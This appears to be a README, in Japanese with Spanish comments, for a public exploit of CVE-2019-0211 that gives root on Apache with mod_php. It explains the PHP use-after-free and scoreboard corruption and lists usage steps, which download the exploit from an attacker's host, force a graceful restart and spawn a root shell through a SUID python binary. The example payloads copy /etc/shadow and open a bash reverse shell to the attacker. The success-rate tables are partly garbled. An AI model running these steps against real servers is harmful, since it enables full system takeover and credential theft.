
CVE-2019-0211を対象とした、mod_phpを使用するApache HTTP Server 2.4.17-2.4.38向けのローカル特権昇格エクスプロイト。PHPのUAFを利用してApacheのスコアボードを破壊し、graceful restartを介してrootとして任意のコマンドを実行します。
CVE-2019-0211 は、mod_prefork および mod_php (または PHP-FPM) を使用する Apache HTTP Server バージョン 2.4.17 から 2.4.38 に影響を与える ローカル権限昇格 の脆弱性です。
この脆弱性により、www-data シェルを持つ攻撃者が、PHP の Use-After-Free (UAF) と Apache の scoreboard の破損を組み合わせて root に昇格できます。Apache が graceful restart を実行するとき(例えば、logrotate による午前6時25分)、権限をドロップする前に child_init() を実行します。この関数へのポインタを破壊できれば、Apache に root として任意のコマンドを実行させることができます。
CVSS 3.1: 7.8 (高) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| フィールド | 値 |
|---|---|
| CVE | CVE-2019-0211 |
| 製品 | Apache HTTP Server |
| 影響を受けるバージョン | 2.4.17 – 2.4.38 |
| タイプ | ローカル権限昇格 (CWE-269) |
| 必要条件 | www-data シェル、mod_php を使用する Apache、MPM prefork/worker/event |
| CVSS 3.1 | 7.8 高 |
| パッチ | Apache 2.4.39 |
Apache は scoreboard と呼ばれる共有メモリ領域を使用しており、各ワーカーチャイルドプロセスは prefork_child_bucket へのポインタ bucket を持つ構造体 process_score を持っています。このバケットには、関数ポインタ (meth->child_init()) を含む apr_proc_mutex_t が含まれています。
Apache が graceful restart (logrotate による午前6時25分の自然なトリガー) を実行すると、権限をドロップする 前に child_init() を呼び出します。エクスプロイトは以下の通りです:
DateInterval オブジェクトと JSON シリアライゼーションを操作して PHP で UAF を引き起こす/proc/self/maps を読み取り、scoreboard を特定する (SHM は /dev/zero)all_buckets を見つけるmeth->child_init() を system() にリダイレクトするペイロードを設定するCharles Fol — @cfreal_
元のブログ記事: CARPE DIEM — CVE-2019-0211 Apache Local Root
www-data シェル.php ファイルを書き込める能力# 1. Subir el exploit al servidor vulnerable
# Desde tu máquina atacante:
python3 -m http.server 8080
# En el servidor (como www-data):
cd /var/www/html
wget http://TU_IP:8080/carpediem.php
# 2. Ejecutar el exploit
curl http://localhost/carpediem.php
# 3. Esperar a que Apache haga graceful restart
# Opción A) Esperar a las 6:25 AM (logrotate automático)
# Opción B) Forzar logrotate si tienes permisos:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# 4. Verificar que python3.5 ahora es SUID root
ls -la /usr/bin/python3.5
# Output esperado: -rwsr-sr-x 2 root root ...
# 5. Escalar a root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'
cmd パラメータを使用して、root として実行するコマンドを変更できます:
# Ejemplo: hacer una copia de /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"
# Ejemplo: reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/TU_IP/PUERTO+0>%261'"
| ワーカー数 |
|---|
ワーカー数が多いほど成功率が高くなります。
hidef または AppArmor/SELinux を使用して /proc/self/maps へのアクセスを制限する| 成功率 |
|---|
| 試行回数 |
|---|
| 失敗回数 |
|---|
| 5 (デフォルト) | 87% | 177 | 26 |
| 8 | 89% | 60 | 8 |
| 10 | 95% | 70 | 4 |